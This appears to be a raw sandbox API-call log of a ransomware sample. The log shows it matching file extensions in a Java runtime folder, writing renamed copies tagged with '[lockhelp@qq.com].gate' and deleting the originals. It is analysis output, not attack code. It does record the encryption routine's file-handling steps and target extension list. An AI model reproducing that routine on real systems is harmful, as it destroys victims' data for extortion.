[0293.591] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString=".xls") returned 4 [0293.592] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.592] lstrlenW (lpString=".xlsx") returned 5 [0293.592] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0293.592] lstrlenW (lpString=".ppt") returned 4 [0293.592] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.592] lstrlenW (lpString=".zip") returned 4 [0293.592] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.592] lstrlenW (lpString=".rar") returned 4 [0293.592] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.592] lstrlenW (lpString=".bz2") returned 4 [0293.592] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.592] lstrlenW (lpString=".7z") returned 3 [0293.592] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.592] lstrlenW (lpString=".dbf") returned 4 [0293.592] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.592] lstrlenW (lpString=".1cd") returned 4 [0293.592] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.592] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.592] lstrlenW (lpString=".jpg") returned 4 [0293.592] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.592] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".gate") returned -1 [0293.592] lstrlenW (lpString="meta-index") returned 10 [0293.592] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.593] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1461) returned 1 [0293.593] CloseHandle (hObject=0x518) returned 1 [0293.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0293.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.593] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.593] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.593] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0293.594] GetLastError () returned 0x0 [0293.594] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x5b5, lpOverlapped=0x0) returned 1 [0293.631] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0293.632] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.632] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0293.632] SetEndOfFile (hFile=0x500) returned 1 [0293.632] CloseHandle (hObject=0x500) returned 1 [0293.632] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.632] SetEndOfFile (hFile=0x518) returned 1 [0293.636] CloseHandle (hObject=0x518) returned 1 [0293.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.636] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0293.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.636] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString=".doc") returned 4 [0293.637] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".docx") returned 5 [0293.637] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0293.637] lstrlenW (lpString=".pdf") returned 4 [0293.637] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".xls") returned 4 [0293.637] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".xlsx") returned 5 [0293.637] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0293.637] lstrlenW (lpString=".ppt") returned 4 [0293.637] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString=".zip") returned 4 [0293.637] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".rar") returned 4 [0293.637] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".bz2") returned 4 [0293.637] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString=".7z") returned 3 [0293.637] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString=".dbf") returned 4 [0293.637] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString=".1cd") returned 4 [0293.637] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString=".jpg") returned 4 [0293.637] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.637] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.638] lstrlenW (lpString=".doc") returned 4 [0293.638] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".docx") returned 5 [0293.638] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0293.638] lstrlenW (lpString=".pdf") returned 4 [0293.638] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".xls") returned 4 [0293.638] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".xlsx") returned 5 [0293.638] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0293.638] lstrlenW (lpString=".ppt") returned 4 [0293.638] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.638] lstrlenW (lpString=".zip") returned 4 [0293.638] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".rar") returned 4 [0293.638] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".bz2") returned 4 [0293.638] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString=".7z") returned 3 [0293.638] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0293.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.638] lstrlenW (lpString=".dbf") returned 4 [0293.638] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.638] lstrlenW (lpString=".1cd") returned 4 [0293.638] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0293.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0293.639] lstrlenW (lpString=".jpg") returned 4 [0293.639] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0293.639] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.639] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0293.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.639] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=280161) returned 1 [0293.639] CloseHandle (hObject=0x518) returned 1 [0293.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0293.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.639] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.640] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.640] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.640] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0293.640] GetLastError () returned 0x0 [0293.640] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x44661, lpOverlapped=0x0) returned 1 [0294.082] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x44670, lpOverlapped=0x0) returned 1 [0294.086] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.086] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfa, lpOverlapped=0x0) returned 1 [0294.086] SetEndOfFile (hFile=0x500) returned 1 [0294.087] CloseHandle (hObject=0x500) returned 1 [0294.087] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.087] SetEndOfFile (hFile=0x518) returned 1 [0294.093] CloseHandle (hObject=0x518) returned 1 [0294.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.093] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0294.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.094] lstrlenW (lpString=".doc") returned 4 [0294.094] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.094] lstrlenW (lpString=".docx") returned 5 [0294.094] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0294.094] lstrlenW (lpString=".pdf") returned 4 [0294.094] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.094] lstrlenW (lpString=".xls") returned 4 [0294.094] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.094] lstrlenW (lpString=".xlsx") returned 5 [0294.094] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0294.094] lstrlenW (lpString=".ppt") returned 4 [0294.094] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.094] lstrlenW (lpString=".zip") returned 4 [0294.094] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.094] lstrlenW (lpString=".rar") returned 4 [0294.094] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.094] lstrlenW (lpString=".bz2") returned 4 [0294.094] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.095] lstrlenW (lpString=".7z") returned 3 [0294.095] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".dbf") returned 4 [0294.095] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".1cd") returned 4 [0294.095] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".jpg") returned 4 [0294.095] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".doc") returned 4 [0294.095] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.095] lstrlenW (lpString=".docx") returned 5 [0294.095] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0294.095] lstrlenW (lpString=".pdf") returned 4 [0294.095] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString=".xls") returned 4 [0294.095] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString=".xlsx") returned 5 [0294.095] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0294.095] lstrlenW (lpString=".ppt") returned 4 [0294.095] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".zip") returned 4 [0294.095] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString=".rar") returned 4 [0294.095] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.095] lstrlenW (lpString=".bz2") returned 4 [0294.095] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.095] lstrlenW (lpString=".7z") returned 3 [0294.095] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.095] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.095] lstrlenW (lpString=".dbf") returned 4 [0294.096] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.096] lstrlenW (lpString=".1cd") returned 4 [0294.096] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0294.096] lstrlenW (lpString=".jpg") returned 4 [0294.096] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.096] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0294.096] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0294.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.096] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=251327) returned 1 [0294.096] CloseHandle (hObject=0x518) returned 1 [0294.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0294.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0294.097] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.097] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0294.097] GetLastError () returned 0x0 [0294.097] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0294.171] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0294.175] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.175] WriteFile (in: hFile=0x500, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0294.175] SetEndOfFile (hFile=0x500) returned 1 [0294.175] CloseHandle (hObject=0x500) returned 1 [0294.175] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.175] SetEndOfFile (hFile=0x518) returned 1 [0294.180] CloseHandle (hObject=0x518) returned 1 [0294.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.180] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0294.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.181] lstrlenW (lpString=".doc") returned 4 [0294.181] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.181] lstrlenW (lpString=".docx") returned 5 [0294.181] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0294.181] lstrlenW (lpString=".pdf") returned 4 [0294.181] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.181] lstrlenW (lpString=".xls") returned 4 [0294.181] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.181] lstrlenW (lpString=".xlsx") returned 5 [0294.181] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0294.181] lstrlenW (lpString=".ppt") returned 4 [0294.181] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.181] lstrlenW (lpString=".zip") returned 4 [0294.181] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.181] lstrlenW (lpString=".rar") returned 4 [0294.181] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.181] lstrlenW (lpString=".bz2") returned 4 [0294.181] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.181] lstrlenW (lpString=".7z") returned 3 [0294.181] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.181] lstrlenW (lpString=".dbf") returned 4 [0294.181] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0294.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.181] lstrlenW (lpString=".1cd") returned 4 [0294.181] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString=".jpg") returned 4 [0294.182] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString=".doc") returned 4 [0294.182] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.182] lstrlenW (lpString=".docx") returned 5 [0294.182] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0294.182] lstrlenW (lpString=".pdf") returned 4 [0294.182] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString=".xls") returned 4 [0294.182] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString=".xlsx") returned 5 [0294.182] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0294.182] lstrlenW (lpString=".ppt") returned 4 [0294.182] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString=".zip") returned 4 [0294.182] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString=".rar") returned 4 [0294.182] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0294.182] lstrlenW (lpString=".bz2") returned 4 [0294.182] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0294.182] lstrlenW (lpString=".7z") returned 3 [0294.182] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0294.182] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0294.182] lstrlenW (lpString=".dbf") returned 4 [0294.182] lstrcmpiW (lpString1=".dbf", 